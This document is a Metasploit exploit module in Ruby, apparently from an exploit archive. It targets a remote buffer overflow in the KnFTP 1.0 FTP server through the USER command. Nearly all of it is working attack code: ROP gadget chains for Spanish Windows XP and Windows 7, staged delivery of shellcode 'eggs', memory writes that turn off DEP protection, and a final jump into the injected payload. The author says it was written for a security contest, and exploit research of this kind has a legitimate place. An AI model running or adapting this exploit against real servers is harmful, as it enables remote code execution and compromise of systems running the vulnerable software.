KnFTP 1.0 – Remote Buffer Overflow (DEP Bypass) (Metasploit)
#module for metasploit framework, for more information #see the Description. #Copyright (C) October 04th 2011 #Author: Javier Aguinaga (pasta) el.tio.pastafrola[at]gmail.com # #This program is free software: you can redistribute it and/or modify #it under the terms of the GNU General Public License as published by #the Free Software Foundation, either version 3 of the License, or #(at your option) any later version. # #This program is distributed in the hope that it will be useful, #but WITHOUT ANY WARRANTY; without even the implied warranty of #MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #GNU General Public License for more details. # #You should have received a copy of the GNU General Public License #along with this program. If not, see <http://www.gnu.org/licenses/>. require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'KnFTP FTP Server Multiple Commands Remote Buffer Overflow Vulnerabilities', 'Description' => %q{ This module exploits a vulnerability in the KnFTP application. The same by-pass DEP with AlwaysOn. Built for the 10th contest of [C]racks[L]atino[S]. }, 'Author' => [ 'pasta' ], 'License' => GPL_LICENSE, 'Version' => '$Revision: 0 $', 'References' => [ [ 'URL', 'https://www.securityfocus.com/bid/49427'], ], 'Privileged' => false, 'Payload' => { 'Space' => 0x300, 'BadChars' => "\x00", 'DisableNops' => 'True' }, 'Platform' => [ 'win' ], 'Targets' => [ [ 'Windows XP SP2/SP3 Spanish (NX)', { 'rop_movs' => [ 0x77bf1d16, # POP EAX 0x41414141, # PADDING 0x77c07451, # LEA EAX,[EBP-10] 0x77bf2751, # EBP = ESP+C && JMP EAX <-- # se ejecuta la carga de EBP # y despues carga en EAX el valor # EBP-10, esto es x el JMP EAX 0x77bef2c1, # ADD EAX,8 0x77bef2c1, # ADD EAX,8 0x77bef2c1, # ADD EAX,8 0x77bef2c1, # ADD EAX,8 0x77be95ab, # XCHG EAX,ESI # CMPS <-- ROBA 0x77c0620b, # MUEVE 6 DWORDS DE ESI A EDI 0x41414141, # JUNK 0x41414141, # JUNK 0x77bf22b6 # JMP $ ], 'rop_popeax_null' => [ 0x77bef519, # POP ECX 0x41414141, # PADDING 0x42424242, # JUNK 0x77bf1d16, # POP EAX 0x42424242, # JUNK 0x77c0f284 # LEA EAX,[EAX+ECX*8] ], 'rop_popeax' => [ 0x77bf1d16, # POP EAX 0x41414141, # PADDING 0x42424242 # JUNK ], 'rop_writemem' => [ 0x77bef519, # POP ECX 0x42424242, # JUNK 0x77c12f02, # MOV [ECX],EAX 0x42424242, # JUNK 0x77bf22b6 # JMP $ ], 'rop_jmpeax' => [ 0x77be68cd, # JMP EAX ], 'rop_changeeip' => [ 0x77bf1d16, # POP EAX 0x41414141, # PADDING 0x41414141, # JUNK 0x77be68cd # JMP EAX ], 'place4payload' => 0x77e1ac81, # .data msvcrt 'place4argumen' => 0x77e1ab40, # .data msvcrt 'loop' => 0x77bf22b6, # JMP $ } ], [ 'Windows 7 Professional SP1 Spanish (NX)', { 'rop_movs' => [ 0x770c181f, 0x41414141, 0x77099871, 0x770abffd, 0x7709a5c5, 0x7709a5c5, 0x7709a5c5, 0x7709a5c5, 0x770ce0ab, 0x770c07d2, 0x41414141, 0x41414141, 0x770aac5b ], 'rop_popeax_null' => [ 0x7709a984, 0x41414141, 0x42424242, 0x770c181f, 0x42424242, 0x770c040f ], 'rop_popeax' => [ 0x770c181f, 0x41414141, 0x42424242 ], 'rop_writemem' => [ 0x7709a984, 0x42424242, 0x770a3bdb, 0x42424242, 0x770aac5b ], 'rop_jmpeax' => [ 0x7709c441, ], 'rop_changeeip' => [ 0x770c181f, 0x41414141, 0x41414141, 0x7709c441 ], 'place4payload' => 0x77136C01, 'place4argumen' => 0x77136a80, 'loop' => 0x77bf22b6, } ], ], 'DisclosureDate' => 'Sept 19 2011', 'DefaultTarget' => 0)) register_options( [ OptInt.new('TIME', [ true, 'Delay between packets. (seconds)', 5 ]), ], self.class) end def exploit connect print_status("Sending eggs") address = target['place4payload'] + 0x300 payload.encoded << 'A'*(16 - payload.encoded.length % 16) (payload.encoded.length/16).times {|i| i += 1 buf = 'A'*276 buf << [address - 16 * i].pack('<L') buf << 'A'*4 buf << target['rop_movs'].pack('V*') + '1' # <-- byte corrido por CMPS buf << payload.encoded[payload.encoded.length - 16 * i, 16] sleep(datastore['TIME']) print "="*i + " "*((payload.encoded.length/16)-i) + "> #{i}/#{payload.encoded.length/16} egg[s]\r" send_user(buf) disconnect connect } memory = target['place4argumen'] keys = { memory+0x04 => target['loop'], memory-0x38 => target['place4payload'], memory-0x2c => 0x300, memory-0x1c => 0x40 } print_status("Disabling [D]ata [E]xecution [P]revention") j = 1 keys.each {|direction, dword| buf = 'A'*284 if [dword].pack('<L').index(0.chr) ecx = 0x01111111 eax = 2**32 + dword - ecx*8 target['rop_popeax_null'][2] = ecx target['rop_popeax_null'][4] = eax buf << target['rop_popeax_null'].pack('V*') else target['rop_popeax'][2] = dword buf << target['rop_popeax'].pack('V*') end target['rop_writemem'][1] = direction buf << target['rop_writemem'].pack('V*') sleep(datastore['TIME']) print "="*j + " "*(5-j) + "> #{j}/5 egg[s]\r" j += 1 send_user(buf) disconnect #connect again connect } buf = 'A'*280 buf << [memory].pack('<L') load_arguments = 0x00403822 ecx = 0x01111111 eax = 2**32 + load_arguments - ecx * 8 target['rop_popeax_null'][2] = ecx target['rop_popeax_null'][4] = eax buf << (target['rop_popeax_null'] + target['rop_jmpeax'] + [0x41414141]).pack('V*') sleep(datastore['TIME']) print "=====> 5/5\r" send_user(buf) print_good("PAYLOAD INJECT SUCCESSFULL") disconnect connect buf = 'A'*284 target['rop_changeeip'][2] = target['place4payload'] + 0x300 - payload.encoded.length + 7 buf << target['rop_changeeip'].pack('V*') print_status("Executing shellcode...") send_user(buf) sleep(datastore['TIME']*4) handler disconnect end end |